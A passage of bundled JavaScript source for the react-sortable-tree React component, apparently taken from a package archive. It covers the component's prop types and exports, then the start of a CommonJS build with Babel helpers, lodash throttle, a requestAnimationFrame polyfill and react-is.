  // Style applied to the container wrapping the tree (style defaults to {height: '100%'})
  style: PropTypes.shape({}),
  // Class name for the container wrapping the tree
  className: PropTypes.string,
  // Style applied to the inner, scrollable container (for padding, etc.)
  innerStyle: PropTypes.shape({}),
  // Used by react-virtualized
  // Either a fixed row height (number) or a function that returns the
  // height of a row given its index: `({ index: number }): number`
  rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]),
  // Size in px of the region near the edges that initiates scrolling on dragover
  slideRegionSize: PropTypes.number,
  // Custom properties to hand to the react-virtualized list
  // https://github.com/bvaughn/react-virtualized/blob/master/docs/List.md#prop-types
  reactVirtualizedListProps: PropTypes.shape({}),
  // The width of the blocks containing the lines representing the structure of the tree.
  scaffoldBlockPxWidth: PropTypes.number,
  // Maximum depth nodes can be inserted at. Defaults to infinite.
  maxDepth: PropTypes.number,
  // The method used to search nodes.
  // Defaults to a function that uses the `searchQuery` string to search for nodes with
  // matching `title` or `subtitle` values.
  // NOTE: Changing `searchMethod` will not update the search, but changing the `searchQuery` will.
  searchMethod: PropTypes.func,
  // Used by the `searchMethod` to highlight and scroll to matched nodes.
  // Should be a string for the default `searchMethod`, but can be anything when using a custom search.
  searchQuery: PropTypes.any,
  // eslint-disable-line react/forbid-prop-types
  // Outline the <`searchFocusOffset`>th node and scroll to it.
  searchFocusOffset: PropTypes.number,
  // Get the nodes that match the search criteria. Used for counting total matches, etc.
  searchFinishCallback: PropTypes.func,
  // Generate an object with additional props to be passed to the node renderer.
  // Use this for adding buttons via the `buttons` key,
  // or additional `style` / `className` settings.
  generateNodeProps: PropTypes.func,
  // Set to false to disable virtualization.
  // NOTE: Auto-scrolling while dragging, and scrolling to the `searchFocusOffset` will be disabled.
  isVirtualized: PropTypes.bool,
  treeNodeRenderer: PropTypes.func,
  // Override the default component for rendering nodes (but keep the scaffolding generator)
  // This is an advanced option for complete customization of the appearance.
  // It is best to copy the component in `node-renderer-default.js` to use as a base, and customize as needed.
  nodeContentRenderer: PropTypes.func,
  // Override the default component for rendering an empty tree
  // This is an advanced option for complete customization of the appearance.
  // It is best to copy the component in `placeholder-renderer-default.js` to use as a base,
  // and customize as needed.
  placeholderRenderer: PropTypes.func,
  theme: PropTypes.shape({
    style: PropTypes.shape({}),
    innerStyle: PropTypes.shape({}),
    reactVirtualizedListProps: PropTypes.shape({}),
    scaffoldBlockPxWidth: PropTypes.number,
    slideRegionSize: PropTypes.number,
    rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]),
    treeNodeRenderer: PropTypes.func,
    nodeContentRenderer: PropTypes.func,
    placeholderRenderer: PropTypes.func
  }),
  // Determine the unique key used to identify each node and
  // generate the `path` array passed in callbacks.
  // By default, returns the index in the tree (omitting hidden nodes).
  getNodeKey: PropTypes.func,
  // Called whenever tree data changed.
  // Just like with React input elements, you have to update your
  // own component's data to see the changes reflected.
  onChange: PropTypes.func.isRequired,
  // Called after node move operation.
  onMoveNode: PropTypes.func,
  // Determine whether a node can be dragged. Set to false to disable dragging on all nodes.
  canDrag: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]),
  // Determine whether a node can be dropped based on its path and parents'.
  canDrop: PropTypes.func,
  // Determine whether a node can have children
  canNodeHaveChildren: PropTypes.func,
  // When true, or a callback returning true, dropping nodes to react-dnd
  // drop targets outside of this tree will not remove them from this tree
  shouldCopyOnOutsideDrop: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]),
  // Called after children nodes collapsed or expanded.
  onVisibilityToggle: PropTypes.func,
  dndType: PropTypes.string,
  // Called to track between dropped and dragging
  onDragStateChanged: PropTypes.func,
  // Specify that nodes that do not match search will be collapsed
  onlyExpandSearchedNodes: PropTypes.bool,
  // rtl support
  rowDirection: PropTypes.string
};
ReactSortableTree.defaultProps = {
  canDrag: true,
  canDrop: null,
  canNodeHaveChildren: function canNodeHaveChildren() {
    return true;
  },
  className: '',
  dndType: null,
  generateNodeProps: null,
  getNodeKey: defaultGetNodeKey,
  innerStyle: {},
  isVirtualized: true,
  maxDepth: null,
  treeNodeRenderer: null,
  nodeContentRenderer: null,
  onMoveNode: function onMoveNode() {},
  onVisibilityToggle: function onVisibilityToggle() {},
  placeholderRenderer: null,
  reactVirtualizedListProps: {},
  rowHeight: null,
  scaffoldBlockPxWidth: null,
  searchFinishCallback: null,
  searchFocusOffset: null,
  searchMethod: null,
  searchQuery: null,
  shouldCopyOnOutsideDrop: false,
  slideRegionSize: null,
  style: {},
  theme: {},
  onDragStateChanged: function onDragStateChanged() {},
  onlyExpandSearchedNodes: false,
  rowDirection: 'ltr'
};
polyfill$1(ReactSortableTree);

var SortableTreeWithoutDndContext = function SortableTreeWithoutDndContext(props) {
  return /*#__PURE__*/React.createElement(DndContext.Consumer, null, function (_ref17) {
    var dragDropManager = _ref17.dragDropManager;
    return dragDropManager === undefined ? null : /*#__PURE__*/React.createElement(ReactSortableTree, _extends({}, props, {
      dragDropManager: dragDropManager
    }));
  });
};

var SortableTree = function SortableTree(props) {
  return /*#__PURE__*/React.createElement(DndProvider, {
    backend: HTML5Backend
  }, /*#__PURE__*/React.createElement(SortableTreeWithoutDndContext, props));
}; // Export the tree component without the react-dnd DragDropContext,

export default SortableTree;
export { SortableTreeWithoutDndContext, addNodeUnderParent, changeNodeAtPath, defaultGetNodeKey, defaultSearchMethod, find, getDepth, getDescendantCount, getFlatDataFromTree, getNodeAtPath, getTreeFromFlatData, getVisibleNodeCount, getVisibleNodeInfoAtIndex, insertNode, isDescendant, map, removeNode, removeNodeAtPath, toggleExpandedForAll, walk };
index.cjs.js000064400000505060151677274460007020 0ustar00'use strict';

Object.defineProperty(exports, '__esModule', { value: true });

function _interopDefault (ex) { return (ex && (typeof ex === 'object') && 'default' in ex) ? ex['default'] : ex; }

var React = require('react');
var React__default = _interopDefault(React);
var PropTypes = _interopDefault(require('prop-types'));
var reactDnd = require('react-dnd');
var reactDnd__default = _interopDefault(reactDnd);
var isEqual = _interopDefault(require('lodash.isequal'));
var reactDndHtml5Backend = require('react-dnd-html5-backend');
var reactVirtualized = require('react-virtualized');
var reactDom = require('react-dom');

function _typeof(obj) {
  "@babel/helpers - typeof";

  if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
    _typeof = function (obj) {
      return typeof obj;
    };
  } else {
    _typeof = function (obj) {
      return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
    };
  }

  return _typeof(obj);
}

function _classCallCheck(instance, Constructor) {
  if (!(instance instanceof Constructor)) {
    throw new TypeError("Cannot call a class as a function");
  }
}

function _defineProperties(target, props) {
  for (var i = 0; i < props.length; i++) {
    var descriptor = props[i];
    descriptor.enumerable = descriptor.enumerable || false;
    descriptor.configurable = true;
    if ("value" in descriptor) descriptor.writable = true;
    Object.defineProperty(target, descriptor.key, descriptor);
  }
}

function _createClass(Constructor, protoProps, staticProps) {
  if (protoProps) _defineProperties(Constructor.prototype, protoProps);
  if (staticProps) _defineProperties(Constructor, staticProps);
  return Constructor;
}

function _defineProperty(obj, key, value) {
  if (key in obj) {
    Object.defineProperty(obj, key, {
      value: value,
      enumerable: true,
      configurable: true,
      writable: true
    });
  } else {
    obj[key] = value;
  }

  return obj;
}

function _extends() {
  _extends = Object.assign || function (target) {
    for (var i = 1; i < arguments.length; i++) {
      var source = arguments[i];

      for (var key in source) {
        if (Object.prototype.hasOwnProperty.call(source, key)) {
          target[key] = source[key];
        }
      }
    }

    return target;
  };

  return _extends.apply(this, arguments);
}

function ownKeys(object, enumerableOnly) {
  var keys = Object.keys(object);

  if (Object.getOwnPropertySymbols) {
    var symbols = Object.getOwnPropertySymbols(object);
    if (enumerableOnly) symbols = symbols.filter(function (sym) {
      return Object.getOwnPropertyDescriptor(object, sym).enumerable;
    });
    keys.push.apply(keys, symbols);
  }

  return keys;
}

function _objectSpread2(target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i] != null ? arguments[i] : {};

    if (i % 2) {
      ownKeys(Object(source), true).forEach(function (key) {
        _defineProperty(target, key, source[key]);
      });
    } else if (Object.getOwnPropertyDescriptors) {
      Object.defineProperties(target, Object.getOwnPropertyDescriptors(source));
    } else {
      ownKeys(Object(source)).forEach(function (key) {
        Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key));
      });
    }
  }

  return target;
}

function _inherits(subClass, superClass) {
  if (typeof superClass !== "function" && superClass !== null) {
    throw new TypeError("Super expression must either be null or a function");
  }

  subClass.prototype = Object.create(superClass && superClass.prototype, {
    constructor: {
      value: subClass,
      writable: true,
      configurable: true
    }
  });
  if (superClass) _setPrototypeOf(subClass, superClass);
}

function _getPrototypeOf(o) {
  _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) {
    return o.__proto__ || Object.getPrototypeOf(o);
  };
  return _getPrototypeOf(o);
}

function _setPrototypeOf(o, p) {
  _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
    o.__proto__ = p;
    return o;
  };

  return _setPrototypeOf(o, p);
}

function _isNativeReflectConstruct() {
  if (typeof Reflect === "undefined" || !Reflect.construct) return false;
  if (Reflect.construct.sham) return false;
  if (typeof Proxy === "function") return true;

  try {
    Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
    return true;
  } catch (e) {
    return false;
  }
}

function _objectWithoutPropertiesLoose(source, excluded) {
  if (source == null) return {};
  var target = {};
  var sourceKeys = Object.keys(source);
  var key, i;

  for (i = 0; i < sourceKeys.length; i++) {
    key = sourceKeys[i];
    if (excluded.indexOf(key) >= 0) continue;
    target[key] = source[key];
  }

  return target;
}

function _objectWithoutProperties(source, excluded) {
  if (source == null) return {};

  var target = _objectWithoutPropertiesLoose(source, excluded);

  var key, i;

  if (Object.getOwnPropertySymbols) {
    var sourceSymbolKeys = Object.getOwnPropertySymbols(source);

    for (i = 0; i < sourceSymbolKeys.length; i++) {
      key = sourceSymbolKeys[i];
      if (excluded.indexOf(key) >= 0) continue;
      if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue;
      target[key] = source[key];
    }
  }

  return target;
}

function _assertThisInitialized(self) {
  if (self === void 0) {
    throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
  }

  return self;
}

function _possibleConstructorReturn(self, call) {
  if (call && (typeof call === "object" || typeof call === "function")) {
    return call;
  }

  return _assertThisInitialized(self);
}

function _createSuper(Derived) {
  var hasNativeReflectConstruct = _isNativeReflectConstruct();

  return function _createSuperInternal() {
    var Super = _getPrototypeOf(Derived),
        result;

    if (hasNativeReflectConstruct) {
      var NewTarget = _getPrototypeOf(this).constructor;

      result = Reflect.construct(Super, arguments, NewTarget);
    } else {
      result = Super.apply(this, arguments);
    }

    return _possibleConstructorReturn(this, result);
  };
}

function _toConsumableArray(arr) {
  return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread();
}

function _arrayWithoutHoles(arr) {
  if (Array.isArray(arr)) return _arrayLikeToArray(arr);
}

function _iterableToArray(iter) {
  if (typeof Symbol !== "undefined" && iter[Symbol.iterator] != null || iter["@@iterator"] != null) return Array.from(iter);
}

function _unsupportedIterableToArray(o, minLen) {
  if (!o) return;
  if (typeof o === "string") return _arrayLikeToArray(o, minLen);
  var n = Object.prototype.toString.call(o).slice(8, -1);
  if (n === "Object" && o.constructor) n = o.constructor.name;
  if (n === "Map" || n === "Set") return Array.from(o);
  if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen);
}

function _arrayLikeToArray(arr, len) {
  if (len == null || len > arr.length) len = arr.length;

  for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i];

  return arr2;
}

function _nonIterableSpread() {
  throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
}

var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {};

function unwrapExports (x) {
	return x && x.__esModule && Object.prototype.hasOwnProperty.call(x, 'default') ? x['default'] : x;
}

function createCommonjsModule(fn, module) {
	return module = { exports: {} }, fn(module, module.exports), module.exports;
}

/**
 * lodash (Custom Build) <https://lodash.com/>
 * Build: `lodash modularize exports="npm" -o ./`
 * Copyright jQuery Foundation and other contributors <https://jquery.org/>
 * Released under MIT license <https://lodash.com/license>
 * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>
 * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
 */

/** Used as the `TypeError` message for "Functions" methods. */
var FUNC_ERROR_TEXT = 'Expected a function';

/** Used as references for various `Number` constants. */
var NAN = 0 / 0;

/** `Object#toString` result references. */
var symbolTag = '[object Symbol]';

/** Used to match leading and trailing whitespace. */
var reTrim = /^\s+|\s+$/g;

/** Used to detect bad signed hexadecimal string values. */
var reIsBadHex = /^[-+]0x[0-9a-f]+$/i;

/** Used to detect binary string values. */
var reIsBinary = /^0b[01]+$/i;

/** Used to detect octal string values. */
var reIsOctal = /^0o[0-7]+$/i;

/** Built-in method references without a dependency on `root`. */
var freeParseInt = parseInt;

/** Detect free variable `global` from Node.js. */
var freeGlobal = typeof commonjsGlobal == 'object' && commonjsGlobal && commonjsGlobal.Object === Object && commonjsGlobal;

/** Detect free variable `self`. */
var freeSelf = typeof self == 'object' && self && self.Object === Object && self;

/** Used as a reference to the global object. */
var root = freeGlobal || freeSelf || Function('return this')();

/** Used for built-in method references. */
var objectProto = Object.prototype;

/**
 * Used to resolve the
 * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
 * of values.
 */
var objectToString = objectProto.toString;

/* Built-in method references for those with the same name as other `lodash` methods. */
var nativeMax = Math.max,
    nativeMin = Math.min;

/**
 * Gets the timestamp of the number of milliseconds that have elapsed since
 * the Unix epoch (1 January 1970 00:00:00 UTC).
 *
 * @static
 * @memberOf _
 * @since 2.4.0
 * @category Date
 * @returns {number} Returns the timestamp.
 * @example
 *
 * _.defer(function(stamp) {
 *   console.log(_.now() - stamp);
 * }, _.now());
 * // => Logs the number of milliseconds it took for the deferred invocation.
 */
var now = function() {
  return root.Date.now();
};

/**
 * Creates a debounced function that delays invoking `func` until after `wait`
 * milliseconds have elapsed since the last time the debounced function was
 * invoked. The debounced function comes with a `cancel` method to cancel
 * delayed `func` invocations and a `flush` method to immediately invoke them.
 * Provide `options` to indicate whether `func` should be invoked on the
 * leading and/or trailing edge of the `wait` timeout. The `func` is invoked
 * with the last arguments provided to the debounced function. Subsequent
 * calls to the debounced function return the result of the last `func`
 * invocation.
 *
 * **Note:** If `leading` and `trailing` options are `true`, `func` is
 * invoked on the trailing edge of the timeout only if the debounced function
 * is invoked more than once during the `wait` timeout.
 *
 * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
 * until to the next tick, similar to `setTimeout` with a timeout of `0`.
 *
 * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
 * for details over the differences between `_.debounce` and `_.throttle`.
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Function
 * @param {Function} func The function to debounce.
 * @param {number} [wait=0] The number of milliseconds to delay.
 * @param {Object} [options={}] The options object.
 * @param {boolean} [options.leading=false]
 *  Specify invoking on the leading edge of the timeout.
 * @param {number} [options.maxWait]
 *  The maximum time `func` is allowed to be delayed before it's invoked.
 * @param {boolean} [options.trailing=true]
 *  Specify invoking on the trailing edge of the timeout.
 * @returns {Function} Returns the new debounced function.
 * @example
 *
 * // Avoid costly calculations while the window size is in flux.
 * jQuery(window).on('resize', _.debounce(calculateLayout, 150));
 *
 * // Invoke `sendMail` when clicked, debouncing subsequent calls.
 * jQuery(element).on('click', _.debounce(sendMail, 300, {
 *   'leading': true,
 *   'trailing': false
 * }));
 *
 * // Ensure `batchLog` is invoked once after 1 second of debounced calls.
 * var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 });
 * var source = new EventSource('/stream');
 * jQuery(source).on('message', debounced);
 *
 * // Cancel the trailing debounced invocation.
 * jQuery(window).on('popstate', debounced.cancel);
 */
function debounce(func, wait, options) {
  var lastArgs,
      lastThis,
      maxWait,
      result,
      timerId,
      lastCallTime,
      lastInvokeTime = 0,
      leading = false,
      maxing = false,
      trailing = true;

  if (typeof func != 'function') {
    throw new TypeError(FUNC_ERROR_TEXT);
  }
  wait = toNumber(wait) || 0;
  if (isObject(options)) {
    leading = !!options.leading;
    maxing = 'maxWait' in options;
    maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait;
    trailing = 'trailing' in options ? !!options.trailing : trailing;
  }

  function invokeFunc(time) {
    var args = lastArgs,
        thisArg = lastThis;

    lastArgs = lastThis = undefined;
    lastInvokeTime = time;
    result = func.apply(thisArg, args);
    return result;
  }

  function leadingEdge(time) {
    // Reset any `maxWait` timer.
    lastInvokeTime = time;
    // Start the timer for the trailing edge.
    timerId = setTimeout(timerExpired, wait);
    // Invoke the leading edge.
    return leading ? invokeFunc(time) : result;
  }

  function remainingWait(time) {
    var timeSinceLastCall = time - lastCallTime,
        timeSinceLastInvoke = time - lastInvokeTime,
        result = wait - timeSinceLastCall;

    return maxing ? nativeMin(result, maxWait - timeSinceLastInvoke) : result;
  }

  function shouldInvoke(time) {
    var timeSinceLastCall = time - lastCallTime,
        timeSinceLastInvoke = time - lastInvokeTime;

    // Either this is the first call, activity has stopped and we're at the
    // trailing edge, the system time has gone backwards and we're treating
    // it as the trailing edge, or we've hit the `maxWait` limit.
    return (lastCallTime === undefined || (timeSinceLastCall >= wait) ||
      (timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait));
  }

  function timerExpired() {
    var time = now();
    if (shouldInvoke(time)) {
      return trailingEdge(time);
    }
    // Restart the timer.
    timerId = setTimeout(timerExpired, remainingWait(time));
  }

  function trailingEdge(time) {
    timerId = undefined;

    // Only invoke if we have `lastArgs` which means `func` has been
    // debounced at least once.
    if (trailing && lastArgs) {
      return invokeFunc(time);
    }
    lastArgs = lastThis = undefined;
    return result;
  }

  function cancel() {
    if (timerId !== undefined) {
      clearTimeout(timerId);
    }
    lastInvokeTime = 0;
    lastArgs = lastCallTime = lastThis = timerId = undefined;
  }

  function flush() {
    return timerId === undefined ? result : trailingEdge(now());
  }

  function debounced() {
    var time = now(),
        isInvoking = shouldInvoke(time);

    lastArgs = arguments;
    lastThis = this;
    lastCallTime = time;

    if (isInvoking) {
      if (timerId === undefined) {
        return leadingEdge(lastCallTime);
      }
      if (maxing) {
        // Handle invocations in a tight loop.
        timerId = setTimeout(timerExpired, wait);
        return invokeFunc(lastCallTime);
      }
    }
    if (timerId === undefined) {
      timerId = setTimeout(timerExpired, wait);
    }
    return result;
  }
  debounced.cancel = cancel;
  debounced.flush = flush;
  return debounced;
}

/**
 * Creates a throttled function that only invokes `func` at most once per
 * every `wait` milliseconds. The throttled function comes with a `cancel`
 * method to cancel delayed `func` invocations and a `flush` method to
 * immediately invoke them. Provide `options` to indicate whether `func`
 * should be invoked on the leading and/or trailing edge of the `wait`
 * timeout. The `func` is invoked with the last arguments provided to the
 * throttled function. Subsequent calls to the throttled function return the
 * result of the last `func` invocation.
 *
 * **Note:** If `leading` and `trailing` options are `true`, `func` is
 * invoked on the trailing edge of the timeout only if the throttled function
 * is invoked more than once during the `wait` timeout.
 *
 * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
 * until to the next tick, similar to `setTimeout` with a timeout of `0`.
 *
 * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
 * for details over the differences between `_.throttle` and `_.debounce`.
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Function
 * @param {Function} func The function to throttle.
 * @param {number} [wait=0] The number of milliseconds to throttle invocations to.
 * @param {Object} [options={}] The options object.
 * @param {boolean} [options.leading=true]
 *  Specify invoking on the leading edge of the timeout.
 * @param {boolean} [options.trailing=true]
 *  Specify invoking on the trailing edge of the timeout.
 * @returns {Function} Returns the new throttled function.
 * @example
 *
 * // Avoid excessively updating the position while scrolling.
 * jQuery(window).on('scroll', _.throttle(updatePosition, 100));
 *
 * // Invoke `renewToken` when the click event is fired, but not more than once every 5 minutes.
 * var throttled = _.throttle(renewToken, 300000, { 'trailing': false });
 * jQuery(element).on('click', throttled);
 *
 * // Cancel the trailing throttled invocation.
 * jQuery(window).on('popstate', throttled.cancel);
 */
function throttle(func, wait, options) {
  var leading = true,
      trailing = true;

  if (typeof func != 'function') {
    throw new TypeError(FUNC_ERROR_TEXT);
  }
  if (isObject(options)) {
    leading = 'leading' in options ? !!options.leading : leading;
    trailing = 'trailing' in options ? !!options.trailing : trailing;
  }
  return debounce(func, wait, {
    'leading': leading,
    'maxWait': wait,
    'trailing': trailing
  });
}

/**
 * Checks if `value` is the
 * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)
 * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is an object, else `false`.
 * @example
 *
 * _.isObject({});
 * // => true
 *
 * _.isObject([1, 2, 3]);
 * // => true
 *
 * _.isObject(_.noop);
 * // => true
 *
 * _.isObject(null);
 * // => false
 */
function isObject(value) {
  var type = typeof value;
  return !!value && (type == 'object' || type == 'function');
}

/**
 * Checks if `value` is object-like. A value is object-like if it's not `null`
 * and has a `typeof` result of "object".
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is object-like, else `false`.
 * @example
 *
 * _.isObjectLike({});
 * // => true
 *
 * _.isObjectLike([1, 2, 3]);
 * // => true
 *
 * _.isObjectLike(_.noop);
 * // => false
 *
 * _.isObjectLike(null);
 * // => false
 */
function isObjectLike(value) {
  return !!value && typeof value == 'object';
}

/**
 * Checks if `value` is classified as a `Symbol` primitive or object.
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is a symbol, else `false`.
 * @example
 *
 * _.isSymbol(Symbol.iterator);
 * // => true
 *
 * _.isSymbol('abc');
 * // => false
 */
function isSymbol(value) {
  return typeof value == 'symbol' ||
    (isObjectLike(value) && objectToString.call(value) == symbolTag);
}

/**
 * Converts `value` to a number.
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to process.
 * @returns {number} Returns the number.
 * @example
 *
 * _.toNumber(3.2);
 * // => 3.2
 *
 * _.toNumber(Number.MIN_VALUE);
 * // => 5e-324
 *
 * _.toNumber(Infinity);
 * // => Infinity
 *
 * _.toNumber('3.2');
 * // => 3.2
 */
function toNumber(value) {
  if (typeof value == 'number') {
    return value;
  }
  if (isSymbol(value)) {
    return NAN;
  }
  if (isObject(value)) {
    var other = typeof value.valueOf == 'function' ? value.valueOf() : value;
    value = isObject(other) ? (other + '') : other;
  }
  if (typeof value != 'string') {
    return value === 0 ? value : +value;
  }
  value = value.replace(reTrim, '');
  var isBinary = reIsBinary.test(value);
  return (isBinary || reIsOctal.test(value))
    ? freeParseInt(value.slice(2), isBinary ? 2 : 8)
    : (reIsBadHex.test(value) ? NAN : +value);
}

var lodash_throttle = throttle;

var performanceNow = createCommonjsModule(function (module) {
// Generated by CoffeeScript 1.12.2
(function() {
  var getNanoSeconds, hrtime, loadTime, moduleLoadTime, nodeLoadTime, upTime;

  if ((typeof performance !== "undefined" && performance !== null) && performance.now) {
    module.exports = function() {
      return performance.now();
    };
  } else if ((typeof process !== "undefined" && process !== null) && process.hrtime) {
    module.exports = function() {
      return (getNanoSeconds() - nodeLoadTime) / 1e6;
    };
    hrtime = process.hrtime;
    getNanoSeconds = function() {
      var hr;
      hr = hrtime();
      return hr[0] * 1e9 + hr[1];
    };
    moduleLoadTime = getNanoSeconds();
    upTime = process.uptime() * 1e9;
    nodeLoadTime = moduleLoadTime - upTime;
  } else if (Date.now) {
    module.exports = function() {
      return Date.now() - loadTime;
    };
    loadTime = Date.now();
  } else {
    module.exports = function() {
      return new Date().getTime() - loadTime;
    };
    loadTime = new Date().getTime();
  }

}).call(commonjsGlobal);


});

var root$1 = typeof window === 'undefined' ? commonjsGlobal : window
  , vendors = ['moz', 'webkit']
  , suffix = 'AnimationFrame'
  , raf = root$1['request' + suffix]
  , caf = root$1['cancel' + suffix] || root$1['cancelRequest' + suffix];

for(var i = 0; !raf && i < vendors.length; i++) {
  raf = root$1[vendors[i] + 'Request' + suffix];
  caf = root$1[vendors[i] + 'Cancel' + suffix]
      || root$1[vendors[i] + 'CancelRequest' + suffix];
}

// Some versions of FF have rAF but not cAF
if(!raf || !caf) {
  var last = 0
    , id = 0
    , queue = []
    , frameDuration = 1000 / 60;

  raf = function(callback) {
    if(queue.length === 0) {
      var _now = performanceNow()
        , next = Math.max(0, frameDuration - (_now - last));
      last = next + _now;
      setTimeout(function() {
        var cp = queue.slice(0);
        // Clear queue here to prevent
        // callbacks from appending listeners
        // to the current frame's queue
        queue.length = 0;
        for(var i = 0; i < cp.length; i++) {
          if(!cp[i].cancelled) {
            try{
              cp[i].callback(last);
            } catch(e) {
              setTimeout(function() { throw e }, 0);
            }
          }
        }
      }, Math.round(next));
    }
    queue.push({
      handle: ++id,
      callback: callback,
      cancelled: false
    });
    return id
  };

  caf = function(handle) {
    for(var i = 0; i < queue.length; i++) {
      if(queue[i].handle === handle) {
        queue[i].cancelled = true;
      }
    }
  };
}

var raf_1 = function(fn) {
  // Wrap in a new function to prevent
  // `cancel` potentially being assigned
  // to the native rAF function
  return raf.call(root$1, fn)
};
var cancel = function() {
  caf.apply(root$1, arguments);
};
var polyfill = function(object) {
  if (!object) {
    object = root$1;
  }
  object.requestAnimationFrame = raf;
  object.cancelAnimationFrame = caf;
};
raf_1.cancel = cancel;
raf_1.polyfill = polyfill;

var getDisplayName_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = getDisplayName;
function getDisplayName(Component) {
  return Component.displayName || Component.name || (typeof Component === 'string' && Component.length > 0 ? Component : 'Unknown');
}
});

unwrapExports(getDisplayName_1);

/** @license React v16.13.1
 * react-is.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */
var b="function"===typeof Symbol&&Symbol.for,c=b?Symbol.for("react.element"):60103,d=b?Symbol.for("react.portal"):60106,e=b?Symbol.for("react.fragment"):60107,f=b?Symbol.for("react.strict_mode"):60108,g=b?Symbol.for("react.profiler"):60114,h=b?Symbol.for("react.provider"):60109,k=b?Symbol.for("react.context"):60110,l=b?Symbol.for("react.async_mode"):60111,m=b?Symbol.for("react.concurrent_mode"):60111,n=b?Symbol.for("react.forward_ref"):60112,p=b?Symbol.for("react.suspense"):60113,q=b?
Symbol.for("react.suspense_list"):60120,r=b?Symbol.for("react.memo"):60115,t=b?Symbol.for("react.lazy"):60116,v=b?Symbol.for("react.block"):60121,w=b?Symbol.for("react.fundamental"):60117,x=b?Symbol.for("react.responder"):60118,y=b?Symbol.for("react.scope"):60119;
function z(a){if("object"===typeof a&&null!==a){var u=a.$$typeof;switch(u){case c:switch(a=a.type,a){case l:case m:case e:case g:case f:case p:return a;default:switch(a=a&&a.$$typeof,a){case k:case n:case t:case r:case h:return a;default:return u}}case d:return u}}}function A(a){return z(a)===m}var AsyncMode=l;var ConcurrentMode=m;var ContextConsumer=k;var ContextProvider=h;var Element=c;var ForwardRef=n;var Fragment=e;var Lazy=t;var Memo=r;var Portal=d;
var Profiler=g;var StrictMode=f;var Suspense=p;var isAsyncMode=function(a){return A(a)||z(a)===l};var isConcurrentMode=A;var isContextConsumer=function(a){return z(a)===k};var isContextProvider=function(a){return z(a)===h};var isElement=function(a){return "object"===typeof a&&null!==a&&a.$$typeof===c};var isForwardRef=function(a){return z(a)===n};var isFragment=function(a){return z(a)===e};var isLazy=function(a){return z(a)===t};
var isMemo=function(a){return z(a)===r};var isPortal=function(a){return z(a)===d};var isProfiler=function(a){return z(a)===g};var isStrictMode=function(a){return z(a)===f};var isSuspense=function(a){return z(a)===p};
var isValidElementType=function(a){return "string"===typeof a||"function"===typeof a||a===e||a===m||a===g||a===f||a===p||a===q||"object"===typeof a&&null!==a&&(a.$$typeof===t||a.$$typeof===r||a.$$typeof===h||a.$$typeof===k||a.$$typeof===n||a.$$typeof===w||a.$$typeof===x||a.$$typeof===y||a.$$typeof===v)};var typeOf=z;

var reactIs_production_min = {
	AsyncMode: AsyncMode,
	ConcurrentMode: ConcurrentMode,
	ContextConsumer: ContextConsumer,
	ContextProvider: ContextProvider,
	Element: Element,
	ForwardRef: ForwardRef,
	Fragment: Fragment,
	Lazy: Lazy,
	Memo: Memo,
	Portal: Portal,
	Profiler: Profiler,
	StrictMode: StrictMode,
	Suspense: Suspense,
	isAsyncMode: isAsyncMode,
	isConcurrentMode: isConcurrentMode,
	isContextConsumer: isContextConsumer,
	isContextProvider: isContextProvider,
	isElement: isElement,
	isForwardRef: isForwardRef,
	isFragment: isFragment,
	isLazy: isLazy,
	isMemo: isMemo,
	isPortal: isPortal,
	isProfiler: isProfiler,
	isStrictMode: isStrictMode,
	isSuspense: isSuspense,
	isValidElementType: isValidElementType,
	typeOf: typeOf
};

var reactIs_development = createCommonjsModule(function (module, exports) {



if (process.env.NODE_ENV !== "production") {
  (function() {

